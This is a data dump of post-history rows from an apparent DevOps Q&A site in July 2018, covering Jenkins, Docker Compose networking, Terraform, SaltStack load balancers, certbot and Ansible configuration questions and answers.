  <row Id="14150" PostHistoryTypeId="2" PostId="4510" RevisionGUID="ff94ae0f-009a-466b-bb84-cde08e480a26" CreationDate="2018-07-13T12:16:55.047" UserId="8752" Text="Vault has a REST API available for reading.&#xD;&#xA;&#xD;&#xA;https://www.vaultproject.io/api/index.html&#xD;&#xA;&#xD;&#xA;In your script, just curl the API." ContentLicense="CC BY-SA 4.0" />
  <row Id="14152" PostHistoryTypeId="2" PostId="4511" RevisionGUID="ce0a483c-a0b5-40b6-9201-b6a2c6a23772" CreationDate="2018-07-13T15:15:55.323" UserId="4740" Text="Changed the challenge from tls-sni to:&#xD;&#xA;&#xD;&#xA;&gt; --preferred-challenges http&#xD;&#xA;&#xD;&#xA;and the certificates are renewed.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14153" PostHistoryTypeId="2" PostId="4512" RevisionGUID="b3d04fd6-4968-4256-9225-cd47ff1e4caa" CreationDate="2018-07-13T15:46:48.917" UserId="8707" Text="My current, less ideal solution to this is to run Jenkins in a terminal logged in to a desktop rather than as a service. I'd rather not have to do that but it has solved the problem entirely." ContentLicense="CC BY-SA 4.0" />
  <row Id="14155" PostHistoryTypeId="2" PostId="4513" RevisionGUID="6e0f37dc-f437-42d4-b14b-832f5729a9c5" CreationDate="2018-07-13T20:15:13.520" UserId="4853" Text="I have a powershell script cloned into my workspace from a bitbucket repository. If I log onto the jenkins server cli I can run it by doing&#xD;&#xA;&#xD;&#xA;    cd /var/lib/jenkins/workspace/powershell&#xD;&#xA;    pwsh&#xD;&#xA;    ./psscript.ps1&#xD;&#xA;&#xD;&#xA;This runs fine as expected, but when I try to run it via jenkins I get the error&#xD;&#xA;&#xD;&#xA;    /tmp/jenkins2117772455970634975.sh: line 3: ./psscript.ps1: Permission denied&#xD;&#xA;&#xD;&#xA;My jenkins user is &#xD;&#xA;&#xD;&#xA;    user.name	netuser&#xD;&#xA;&#xD;&#xA;and when I do a whoami from both the pwsh cli console and on the linux cli I get the same thing&#xD;&#xA;&#xD;&#xA;    PS /var/lib/jenkins/workspace/powershell&gt; whoami&#xD;&#xA;netuser&#xD;&#xA;&#xD;&#xA;    [netuser@server1]$ whoami&#xD;&#xA;    netuser&#xD;&#xA;&#xD;&#xA;Is there another setting I'm missing here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14156" PostHistoryTypeId="1" PostId="4513" RevisionGUID="6e0f37dc-f437-42d4-b14b-832f5729a9c5" CreationDate="2018-07-13T20:15:13.520" UserId="4853" Text="Running a powershell script on via jenkins on a linux host" ContentLicense="CC BY-SA 4.0" />
  <row Id="14157" PostHistoryTypeId="3" PostId="4513" RevisionGUID="6e0f37dc-f437-42d4-b14b-832f5729a9c5" CreationDate="2018-07-13T20:15:13.520" UserId="4853" Text="&lt;jenkins&gt;&lt;linux&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14159" PostHistoryTypeId="2" PostId="4514" RevisionGUID="b7a9efd3-bc11-4d8a-ac3b-8806d165b87e" CreationDate="2018-07-14T09:47:10.863" UserId="8769" Text="I am a newbie to Docker. &#xD;&#xA;I am trying to run my application containing from multiple containers &#xD;&#xA;&#xD;&#xA;Here is my **docker-compose.yml** file&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;      php-service:&#xD;&#xA;        container_name: 'php-service'&#xD;&#xA;        build: './php-service'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        ports:&#xD;&#xA;          - '8666:8666'&#xD;&#xA;      go-service:&#xD;&#xA;        container_name: 'go-service'&#xD;&#xA;        build: './go-service'&#xD;&#xA;        ports:&#xD;&#xA;          - '8825:8825'&#xD;&#xA;          - '8835:8835'&#xD;&#xA;        volumes:&#xD;&#xA;          - './go-service:/go/src/go-service'&#xD;&#xA;        networks:&#xD;&#xA;          - frontend&#xD;&#xA;          - backend&#xD;&#xA;        depends_on:&#xD;&#xA;          - 'mongo'&#xD;&#xA;          - 'consul'&#xD;&#xA;      consul:&#xD;&#xA;        image: 'consul:latest'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8300:8300&quot;&#xD;&#xA;          - &quot;8400:8400&quot;&#xD;&#xA;          - &quot;8500:8500&quot;&#xD;&#xA;          - &quot;8600:53/udp&quot;&#xD;&#xA;      mongo:&#xD;&#xA;        image: 'mongo:latest'&#xD;&#xA;        container_name: 'mongo'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        ports:&#xD;&#xA;          - '27100:27017'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      frontend:&#xD;&#xA;        internal: false&#xD;&#xA;      backend:&#xD;&#xA;        internal: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I want to achieve.&#xD;&#xA;&#xD;&#xA;The Outside World - is a network space of a hosting machine where the Docker daemon is running.&#xD;&#xA; &#xD;&#xA;1. Go-Service, PHP-Service, Consul and Mongo Db communicate over internal network not exposed to the outer world. Let's call this network **backend**. &#xD;&#xA;&#xD;&#xA;2. I want services inside **backend** network to be able to send outgoing requests to outer world&#xD;&#xA;&#xD;&#xA;3. Another network is for the outside world, I need to expose only specific ports. In my case I want to expose 8825 and 8835 only. So that ports will be exposed as **localhost:8825** and **localhost:8835** on the hosting machine&#xD;&#xA;&#xD;&#xA;Is it possible to get the desired configuration? &#xD;&#xA;&#xD;&#xA;Or maybe I am doing something wrong, please suggest any other good way to achieve this.&#xD;&#xA; &#xD;&#xA;Thank you so much" ContentLicense="CC BY-SA 4.0" />
  <row Id="14160" PostHistoryTypeId="1" PostId="4514" RevisionGUID="b7a9efd3-bc11-4d8a-ac3b-8806d165b87e" CreationDate="2018-07-14T09:47:10.863" UserId="8769" Text="Internal network between container Docker Compose with outgoing connection" ContentLicense="CC BY-SA 4.0" />
  <row Id="14161" PostHistoryTypeId="3" PostId="4514" RevisionGUID="b7a9efd3-bc11-4d8a-ac3b-8806d165b87e" CreationDate="2018-07-14T09:47:10.863" UserId="8769" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14165" PostHistoryTypeId="50" PostId="2341" RevisionGUID="e2b12b4b-7df9-4f6f-97de-4e4150090bc3" CreationDate="2018-07-14T19:51:46.777" UserId="-1" />
  <row Id="14167" PostHistoryTypeId="50" PostId="3883" RevisionGUID="04734265-2d4f-4a1c-a565-691f0ed383d8" CreationDate="2018-07-15T10:53:50.547" UserId="-1" />
  <row Id="14168" PostHistoryTypeId="50" PostId="4306" RevisionGUID="fdd411a1-cb5a-43bd-8c85-8f647253909f" CreationDate="2018-07-15T16:54:47.930" UserId="-1" />
  <row Id="14169" PostHistoryTypeId="2" PostId="4516" RevisionGUID="b047d34d-4717-4bf0-90cf-3673ef799ce1" CreationDate="2018-07-15T17:06:00.480" UserId="8047" Text="I was trying to create application load balancer with salt stack. I am using salt boto_elbv2 which is having option to create target groups but dont have option to create load balancer, how can i achieve it ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14170" PostHistoryTypeId="1" PostId="4516" RevisionGUID="b047d34d-4717-4bf0-90cf-3673ef799ce1" CreationDate="2018-07-15T17:06:00.480" UserId="8047" Text="How to create AWS application load balancer using saltstack" ContentLicense="CC BY-SA 4.0" />
  <row Id="14171" PostHistoryTypeId="3" PostId="4516" RevisionGUID="b047d34d-4717-4bf0-90cf-3673ef799ce1" CreationDate="2018-07-15T17:06:00.480" UserId="8047" Text="&lt;amazon-web-services&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14172" PostHistoryTypeId="2" PostId="4517" RevisionGUID="87afdd8c-4730-4a93-bd4d-145c6e4da1ec" CreationDate="2018-07-15T19:03:58.837" UserId="8691" Text="I think you could achieve something similar by first running Terraform against your RDS resources, and then running Terraform again on all resources.&#xD;&#xA;&#xD;&#xA;On your first pass, you can use `-target` option to target only a subset of the resources. (ie. RDS resources). &#xD;&#xA;&#xD;&#xA;Be aware that using this option is not recommended in Terraform docs. If I were you, I would use it for time being and change it as soon as one of these issues below is solved:&#xD;&#xA;https://github.com/hashicorp/terraform/issues/10462&#xD;&#xA;https://github.com/hashicorp/terraform/issues/2430&#xD;&#xA;https://github.com/hashicorp/terraform/issues/4149&#xD;&#xA;&#xD;&#xA;For details on how to use `-target` and its caveats, see: https://www.terraform.io/docs/commands/plan.html#resource-targeting" ContentLicense="CC BY-SA 4.0" />
  <row Id="14173" PostHistoryTypeId="2" PostId="4518" RevisionGUID="f1d3389d-fdca-49a5-8d5f-6a5a9f5d65b3" CreationDate="2018-07-15T19:23:04.923" UserId="8691" Text="Maybe you could use &quot;count&quot; attribute for this?&#xD;&#xA;&#xD;&#xA;    resource &quot;cloudflare_record&quot; &quot;record1&quot; {&#xD;&#xA;        count = ${aws_instance.instance1.public_ip == &quot;&quot; ? 0 : 1}&quot;&#xD;&#xA;        ...&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="14174" PostHistoryTypeId="5" PostId="3999" RevisionGUID="f9d6da0f-0f83-495f-921c-f857090b5d1c" CreationDate="2018-07-15T21:27:04.907" UserId="249" Comment="Clarified state of instances when not in use" Text="I've got a couple of EC2 instances managed by Terraform, with public IP addresses in a VPC.&#xD;&#xA;&#xD;&#xA;With each Terraform run, I'm updating DNS records based on those public IPs.&#xD;&#xA;&#xD;&#xA;I don't need these instances on all the time though, and when I shut them down, they of course lose their public IP address.&#xD;&#xA;&#xD;&#xA;At first this was causing `associate_public_ip_address` to become `false`, and Terraform wanted to recreate the instances. `lifecycle.ignore_changes` solves this:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;instance1&quot; {&#xD;&#xA;      associate_public_ip_address = true&#xD;&#xA;      ...&#xD;&#xA;    &#xD;&#xA;      lifecycle {&#xD;&#xA;        ignore_changes = [&quot;associate_public_ip_address&quot;]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;cloudflare_record&quot; &quot;record1&quot; {&#xD;&#xA;      domain = &quot;example.com&quot;&#xD;&#xA;      name   = &quot;server1.example.com&quot;&#xD;&#xA;      value  = &quot;${aws_instance.instance1.public_ip}&quot;&#xD;&#xA;      type   = &quot;A&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But... the `public_ip` attribute also becomes blank ;). This causes an attempted update to the A record, which fails because you can't set a blank record.&#xD;&#xA;&#xD;&#xA;So, I'm trying to work out a solution. I could use elastic IPs, which I might end up resorting to, but I'd ideally like to avoid that if I can. My next thought was... is there any way I could use `ignore_changes` conditionally, and thus ignore changes to the DNS record's `value` if it is blank?&#xD;&#xA;&#xD;&#xA;Are there any other solutions you can recommend?" ContentLicense="CC BY-SA 4.0" />
  <row Id="14177" PostHistoryTypeId="2" PostId="4519" RevisionGUID="388ec690-c321-4a52-a17c-14488bf88d46" CreationDate="2018-07-16T08:44:19.543" UserId="8744" Text="Please follow official doc to [create LB][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.saltstack.com/en/2017.7/ref/states/all/salt.states.boto_elb.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="14178" PostHistoryTypeId="5" PostId="4519" RevisionGUID="b605a011-5cc1-48cf-b101-0a48725f89e9" CreationDate="2018-07-16T09:22:47.263" UserId="8744" Comment="added 3396 characters in body" Text="Please follow official doc to [create LB][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.saltstack.com/en/2017.7/ref/states/all/salt.states.boto_elb.html&#xD;&#xA;&#xD;&#xA;Please create a IAM role or mentioned secret and access key as below &#xD;&#xA;&#xD;&#xA;    elb.keyid: HHTYHLSHDJFJFJFJFJFJFFSVJS&#xD;&#xA;    elb.key: basjbsdfbdsfdsjfbkgbsfbdsjfbfdgdfgdfs&#xD;&#xA;&#xD;&#xA;Then Create config for ELB &#xD;&#xA;&#xD;&#xA;    Ensure myelb ELB exists:&#xD;&#xA;        boto_elb.present:&#xD;&#xA;            - name: myelb&#xD;&#xA;            - region: us-east-1&#xD;&#xA;            - availability_zones:&#xD;&#xA;                - us-east-1a&#xD;&#xA;                - us-east-1c&#xD;&#xA;                - us-east-1d&#xD;&#xA;            - keyid: GKTADJGHEIQSXMKKRBJ08H&#xD;&#xA;            - key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs&#xD;&#xA;            - listeners:&#xD;&#xA;                - elb_port: 443&#xD;&#xA;                  instance_port: 80&#xD;&#xA;                  elb_protocol: HTTPS&#xD;&#xA;                  instance_protocol: HTTP&#xD;&#xA;                  certificate: 'arn:aws:iam::1111111:server-certificate/mycert'&#xD;&#xA;                  policies:&#xD;&#xA;                      - my-ssl-policy&#xD;&#xA;                      - cookie-policy&#xD;&#xA;                - elb_port: 8210&#xD;&#xA;                  instance_port: 8210&#xD;&#xA;                  elb_protocol: TCP&#xD;&#xA;            - backends:&#xD;&#xA;                - instance_port: 80&#xD;&#xA;                  policies:&#xD;&#xA;                      - enable-proxy-protocol&#xD;&#xA;            - health_check:&#xD;&#xA;                target: 'HTTP:80/'&#xD;&#xA;            - attributes:&#xD;&#xA;                cross_zone_load_balancing:&#xD;&#xA;                  enabled: true&#xD;&#xA;                access_log:&#xD;&#xA;                  enabled: true&#xD;&#xA;                  s3_bucket_name: 'mybucket'&#xD;&#xA;                  s3_bucket_prefix: 'my-logs'&#xD;&#xA;                  emit_interval: 5&#xD;&#xA;                connecting_settings:&#xD;&#xA;                  idle_timeout: 60&#xD;&#xA;            - cnames:&#xD;&#xA;                - name: mycname.example.com.&#xD;&#xA;                  zone: example.com.&#xD;&#xA;                  ttl: 60&#xD;&#xA;                - name: myothercname.example.com.&#xD;&#xA;                  zone: example.com.&#xD;&#xA;            - security_groups:&#xD;&#xA;                - my-security-group&#xD;&#xA;            - policies:&#xD;&#xA;                - policy_name: my-ssl-policy&#xD;&#xA;                  policy_type: SSLNegotiationPolicyType&#xD;&#xA;                  policy:&#xD;&#xA;                    Protocol-TLSv1.2: true&#xD;&#xA;                    Protocol-SSLv3: false&#xD;&#xA;                    Server-Defined-Cipher-Order: true&#xD;&#xA;                    ECDHE-ECDSA-AES128-GCM-SHA256: true&#xD;&#xA;                - policy_name: cookie-policy&#xD;&#xA;                  policy_type: LBCookieStickinessPolicyType&#xD;&#xA;                  policy: {}  # no policy means this is a session cookie&#xD;&#xA;                - policy_name: enable-proxy-protocol&#xD;&#xA;                  policy_type: ProxyProtocolPolicyType&#xD;&#xA;                  policy:&#xD;&#xA;                    ProxyProtocol: true&#xD;&#xA;    &#xD;&#xA;    # Using a profile from pillars&#xD;&#xA;    Ensure myelb ELB exists:&#xD;&#xA;        boto_elb.present:&#xD;&#xA;            - name: myelb&#xD;&#xA;            - region: us-east-1&#xD;&#xA;            - profile: myelbprofile&#xD;&#xA;    &#xD;&#xA;    # Passing in a profile&#xD;&#xA;    Ensure myelb ELB exists:&#xD;&#xA;        boto_elb.present:&#xD;&#xA;            - name: myelb&#xD;&#xA;            - region: us-east-1&#xD;&#xA;            - profile:&#xD;&#xA;                keyid: GKTADJGHEIQSXMKKRBJ08H&#xD;&#xA;                key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs&#xD;&#xA;&#xD;&#xA;Register instance with ELB. &#xD;&#xA;**salt.states.boto_elb.register_instances(name, instances, region=None, key=None, keyid=None, profile=None)**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    add-instances:&#xD;&#xA;      boto_elb.register_instances:&#xD;&#xA;        - name: myloadbalancer&#xD;&#xA;        - instances:&#xD;&#xA;          - instance-id1&#xD;&#xA;          - instance-id2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14179" PostHistoryTypeId="5" PostId="4519" RevisionGUID="83a5174a-04e6-41f5-8536-c64e62c8b566" CreationDate="2018-07-16T09:27:27.527" UserId="13" Comment="Include link from comment" Text="Please follow official doc to [create LB][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.saltstack.com/en/2017.7/ref/states/all/salt.states.boto_elb.html&#xD;&#xA;&#xD;&#xA;Please create a IAM role or mentioned secret and access key as below &#xD;&#xA;&#xD;&#xA;    elb.keyid: HHTYHLSHDJFJFJFJFJFJFFSVJS&#xD;&#xA;    elb.key: basjbsdfbdsfdsjfbkgbsfbdsjfbfdgdfgdfs&#xD;&#xA;&#xD;&#xA;Then Create config for ELB &#xD;&#xA;&#xD;&#xA;    Ensure myelb ELB exists:&#xD;&#xA;        boto_elb.present:&#xD;&#xA;            - name: myelb&#xD;&#xA;            - region: us-east-1&#xD;&#xA;            - availability_zones:&#xD;&#xA;                - us-east-1a&#xD;&#xA;                - us-east-1c&#xD;&#xA;                - us-east-1d&#xD;&#xA;            - keyid: GKTADJGHEIQSXMKKRBJ08H&#xD;&#xA;            - key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs&#xD;&#xA;            - listeners:&#xD;&#xA;                - elb_port: 443&#xD;&#xA;                  instance_port: 80&#xD;&#xA;                  elb_protocol: HTTPS&#xD;&#xA;                  instance_protocol: HTTP&#xD;&#xA;                  certificate: 'arn:aws:iam::1111111:server-certificate/mycert'&#xD;&#xA;                  policies:&#xD;&#xA;                      - my-ssl-policy&#xD;&#xA;                      - cookie-policy&#xD;&#xA;                - elb_port: 8210&#xD;&#xA;                  instance_port: 8210&#xD;&#xA;                  elb_protocol: TCP&#xD;&#xA;            - backends:&#xD;&#xA;                - instance_port: 80&#xD;&#xA;                  policies:&#xD;&#xA;                      - enable-proxy-protocol&#xD;&#xA;            - health_check:&#xD;&#xA;                target: 'HTTP:80/'&#xD;&#xA;            - attributes:&#xD;&#xA;                cross_zone_load_balancing:&#xD;&#xA;                  enabled: true&#xD;&#xA;                access_log:&#xD;&#xA;                  enabled: true&#xD;&#xA;                  s3_bucket_name: 'mybucket'&#xD;&#xA;                  s3_bucket_prefix: 'my-logs'&#xD;&#xA;                  emit_interval: 5&#xD;&#xA;                connecting_settings:&#xD;&#xA;                  idle_timeout: 60&#xD;&#xA;            - cnames:&#xD;&#xA;                - name: mycname.example.com.&#xD;&#xA;                  zone: example.com.&#xD;&#xA;                  ttl: 60&#xD;&#xA;                - name: myothercname.example.com.&#xD;&#xA;                  zone: example.com.&#xD;&#xA;            - security_groups:&#xD;&#xA;                - my-security-group&#xD;&#xA;            - policies:&#xD;&#xA;                - policy_name: my-ssl-policy&#xD;&#xA;                  policy_type: SSLNegotiationPolicyType&#xD;&#xA;                  policy:&#xD;&#xA;                    Protocol-TLSv1.2: true&#xD;&#xA;                    Protocol-SSLv3: false&#xD;&#xA;                    Server-Defined-Cipher-Order: true&#xD;&#xA;                    ECDHE-ECDSA-AES128-GCM-SHA256: true&#xD;&#xA;                - policy_name: cookie-policy&#xD;&#xA;                  policy_type: LBCookieStickinessPolicyType&#xD;&#xA;                  policy: {}  # no policy means this is a session cookie&#xD;&#xA;                - policy_name: enable-proxy-protocol&#xD;&#xA;                  policy_type: ProxyProtocolPolicyType&#xD;&#xA;                  policy:&#xD;&#xA;                    ProxyProtocol: true&#xD;&#xA;    &#xD;&#xA;    # Using a profile from pillars&#xD;&#xA;    Ensure myelb ELB exists:&#xD;&#xA;        boto_elb.present:&#xD;&#xA;            - name: myelb&#xD;&#xA;            - region: us-east-1&#xD;&#xA;            - profile: myelbprofile&#xD;&#xA;    &#xD;&#xA;    # Passing in a profile&#xD;&#xA;    Ensure myelb ELB exists:&#xD;&#xA;        boto_elb.present:&#xD;&#xA;            - name: myelb&#xD;&#xA;            - region: us-east-1&#xD;&#xA;            - profile:&#xD;&#xA;                keyid: GKTADJGHEIQSXMKKRBJ08H&#xD;&#xA;                key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs&#xD;&#xA;&#xD;&#xA;Register instance with ELB. &#xD;&#xA;**salt.states.boto_elb.register_instances(name, instances, region=None, key=None, keyid=None, profile=None)**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    add-instances:&#xD;&#xA;      boto_elb.register_instances:&#xD;&#xA;        - name: myloadbalancer&#xD;&#xA;        - instances:&#xD;&#xA;          - instance-id1&#xD;&#xA;          - instance-id2&#xD;&#xA;&#xD;&#xA;You may find [this blog post](https://www.opcito.com/improve-your-load-balancer-performance-with-saltstack-and-nginx-2/) useful also.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14187" PostHistoryTypeId="2" PostId="4522" RevisionGUID="2dbf8ea6-944f-4b5c-a620-cf09eda393c3" CreationDate="2018-07-16T13:35:43.713" UserId="7730" Text="Internal docker networks mean there is no gateway configured to reach the outside internet, you can only reach other containers from that network. In your scenario, none of your networks should have this definition.&#xD;&#xA;&#xD;&#xA;Without setting the internal network flag, containers can reach out of the docker host, potentially to the internet if the host has that access. This is one-way access, containers can access the external network, but that external network cannot access the containers.&#xD;&#xA;&#xD;&#xA;To access a container from outside of the docker host, you need to publish the port on the host mapping into the desired container (or service). Publishing ports with the &quot;ports&quot; section in the docker-compose.yml file is only needed to provide external access, not access between containers.&#xD;&#xA;&#xD;&#xA;For container to container communication, it is not necessary to expose or publish the port. All that is needed is a user defined network (which you have) in common between the containers. Then the containers can communicate using docker's built-in DNS to resolve the service name (e.g. consul and mongo) and the application port inside that container (e.g. consul:8300). To avoid the external network from accessing these containers, do not publish any ports from them.&#xD;&#xA;&#xD;&#xA;Side note: from your docker-compose.yml, you should also consider removing container_name, depends_on, and build, since they won't work if you try to transition to swarm mode. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14188" PostHistoryTypeId="5" PostId="4522" RevisionGUID="1b0d1b7f-fe4b-420a-83c5-dc96606a1f25" CreationDate="2018-07-16T13:42:00.477" UserId="7730" Comment="added 308 characters in body" Text="Internal docker networks mean there is no gateway configured to reach the outside internet, you can only reach other containers from that network. In your scenario, none of your networks should have this definition.&#xD;&#xA;&#xD;&#xA;Without setting the internal network flag, containers can reach out of the docker host, potentially to the internet if the host has that access. This is one-way access, containers can access the external network, but that external network cannot access the containers.&#xD;&#xA;&#xD;&#xA;To access a container from outside of the docker host, you need to publish the port on the host mapping into the desired container (or service). Publishing ports with the &quot;ports&quot; section in the docker-compose.yml file is only needed to provide external access, not access between containers. Applications inside containers need to listen on all interfaces (0.0.0.0) for both publishing ports on the host and for container to container communication. However, you can publish ports on a specific interface on the host, e.g.:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - '127.0.0.1:8825:8825'&#xD;&#xA;      - '127.0.0.1:8835:8835'&#xD;&#xA;&#xD;&#xA;For container to container communication, it is not necessary to expose or publish the port. All that is needed is a user defined network (which you have) in common between the containers. Then the containers can communicate using docker's built-in DNS to resolve the service name (e.g. consul and mongo) and the application port inside that container (e.g. consul:8300). To avoid the external network from accessing these containers, do not publish any ports from them.&#xD;&#xA;&#xD;&#xA;Side note: from your docker-compose.yml, you should also consider removing container_name, depends_on, and build, since they won't work if you try to transition to swarm mode. " ContentLicense="CC BY-SA 4.0" />
  <row Id="14190" PostHistoryTypeId="5" PostId="3107" RevisionGUID="a15dc390-6c60-48c6-9b0c-93f68a9f1b95" CreationDate="2018-07-16T14:03:14.520" UserId="4328" Comment="formalized" Text="You can execute the safeRestart command using either the Jenkins Rest API (*[jenkins_url]/safeRestart*) or you can execute the command via the [Jenkins CLI][1].&#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/jenkins safeRestart&#xD;&#xA;&#xD;&#xA;&gt; Running a CLI command &#xD;&#xA;&gt;&#xD;&#xA;&gt; The general syntax is as follows (the design is&#xD;&#xA;&gt; similar to tools like svn/git):&#xD;&#xA;&gt; &#xD;&#xA;&gt; java -jar jenkins-cli.jar [-s JENKINS_URL] command [options...]&#xD;&#xA;&gt; [arguments...] &#xD;&#xA;&gt;&#xD;&#xA;&gt;JENKINS_URL can be specified via the environment&#xD;&#xA;&gt; variable $JENKINS_URL. This environment variable is automatically set&#xD;&#xA;&gt; when Jenkins fork a process during builds, which allows you to use&#xD;&#xA;&gt; Jenkins CLI from inside the build without explicitly configuring the&#xD;&#xA;&gt; URL.&#xD;&#xA;&#xD;&#xA;NOTE: When running the safeRestart command, any jobs set to be executed during the restart will be queued up and executed when the server is back online. Make sure this does not cause any conflicts upon reboot!&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Jenkins+CLI" ContentLicense="CC BY-SA 4.0" />
  <row Id="14195" PostHistoryTypeId="2" PostId="4524" RevisionGUID="05d1e034-dd58-4b7e-8745-455cc379ea96" CreationDate="2018-07-16T19:43:41.930" UserId="8797" Text="Now (July 2018), you should be able to use either&#xD;&#xA;&#xD;&#xA;    pip install certbot-dns-digitalocean&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    git clone https://github.com/certbot/certbot.git&#xD;&#xA;    cd certbot/certbot-dns-digitalocean/&#xD;&#xA;    python setup.py install&#xD;&#xA;&#xD;&#xA;You may need `sudo` privileges for either.&#xD;&#xA;&#xD;&#xA;After installing you may not be able to see the plugin with `certbot plugins`, but you should be able to `certbot certonly --dns-digitalocean` just fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="14196" PostHistoryTypeId="50" PostId="4315" RevisionGUID="5034fbad-f990-4678-913a-c8d91d7ac8bc" CreationDate="2018-07-17T03:21:26.077" UserId="-1" />
  <row Id="14203" PostHistoryTypeId="2" PostId="4527" RevisionGUID="bfec459a-b302-4b5f-8fd1-6d259bae48a3" CreationDate="2018-07-17T10:27:55.610" UserId="8806" Text="You can use wait_for module for the same&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/2.5/modules/wait_for_module.html#synopsis&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;example&#xD;&#xA;&#xD;&#xA;- name: Wait 300 seconds for port 8000 of any IP to close active connections, don't start checking for 10 seconds&#xD;&#xA;  wait_for:&#xD;&#xA;&#xD;&#xA;    host: 0.0.0.0&#xD;&#xA;&#xD;&#xA;    port: 8000&#xD;&#xA;&#xD;&#xA;    delay: 10&#xD;&#xA;&#xD;&#xA;    state: drained&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="14204" PostHistoryTypeId="2" PostId="4528" RevisionGUID="3d58773f-0fd7-46dc-be1b-79a51ea8b56b" CreationDate="2018-07-17T11:01:31.907" UserId="8808" Text="I think this is a real problem that many are trying to solve. There are at times where it is preferable to restart Jenkins upon plugin installation. One of the suggestions that I can provide based on my experience is to:&#xD;&#xA;&#xD;&#xA; - Restrict access to the admin module so that not every developer can install plugins&#xD;&#xA; - Instruct developers on the downtime and inform them ahead of time&#xD;&#xA; - Install all the required plugins in bulk and restart Jenkins&#xD;&#xA; - Inform the developers that Jenkins is ready for use&#xD;&#xA;&#xD;&#xA;I understand that this requires a manual effort and coordination. But this has worked so far so well in our project, thought no harm in mentioning." ContentLicense="CC BY-SA 4.0" />
  <row Id="14205" PostHistoryTypeId="5" PostId="4527" RevisionGUID="75229426-4435-404b-bd5b-bfb111070e6b" CreationDate="2018-07-17T11:05:13.383" UserId="13" Comment="Inline link, format code block, name the source of the example" Text="You can use [wait_for][1] module for the same&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;example quoted from the documentation:&#xD;&#xA;&#xD;&#xA;    - name: Wait 300 seconds for port 8000 of any IP to close active connections, don't start checking for 10 seconds&#xD;&#xA;      wait_for:&#xD;&#xA;        host: 0.0.0.0&#xD;&#xA;        port: 8000&#xD;&#xA;        delay: 10&#xD;&#xA;        state: drained&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.5/modules/wait_for_module.html#synopsis" ContentLicense="CC BY-SA 4.0" />
  <row Id="14207" PostHistoryTypeId="50" PostId="3661" RevisionGUID="43db7c63-bf61-4c6e-822b-85f5b5cceb5f" CreationDate="2018-07-17T17:25:59.930" UserId="-1" />
  <row Id="14208" PostHistoryTypeId="2" PostId="4529" RevisionGUID="b229ae5c-1dcc-41df-8a9c-6bc0ad9df366" CreationDate="2018-07-17T18:38:46.683" UserId="8544" Text="DevOps includes automation but that's only part of it.  DevOps is a cultural change to break down the silos between the different parts of the organization to provide a complete value stream.  Providing a culture where business, development, quality assurance, infrastructure, security, ops, etc all work together to provide value to who ever is the end user.  DevOps is not a tool, you can't buy it, you have to change your culture.  &#xD;&#xA;&#xD;&#xA;Automation is a key part of DevOps in that it allows the speed of delivery with quality.  Automation for the deployment process is one of the areas many people focus on first as it is one of the best ways to gain value quickly and provides a high return on investment through not only reducing the time for the deployment but also standardizing the process and removing errors.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="14209" PostHistoryTypeId="2" PostId="4530" RevisionGUID="9f7e560c-f806-4028-81f0-673f604d2f70" CreationDate="2018-07-18T01:19:12.790" UserId="5628" Text="Totally stack dependent but as mentioned HashiCorp Vault will provide audit logs, and the other I am familiar with is AWS Parameter Store and Secrets Manager which will provide logs to CloudTrail. The AWS approach is a great one for those already using AWS and looking for an easy barrier to entry. Vault is more powerful but with that comes more complexity to install, run, and maintain (the open-source version at least.. enterprise is awesome but pricey last time a company i work for inquired). The worst thing you can do in my opinion is try to write your own tool for this. Whatever tool you decide on, or if you try to write it, logging is an absolute must" ContentLicense="CC BY-SA 4.0" />
  <row Id="14210" PostHistoryTypeId="50" PostId="1832" RevisionGUID="61e6c7b5-2c4b-4c01-a876-772753bf6ede" CreationDate="2018-07-18T01:26:17.253" UserId="-1" />
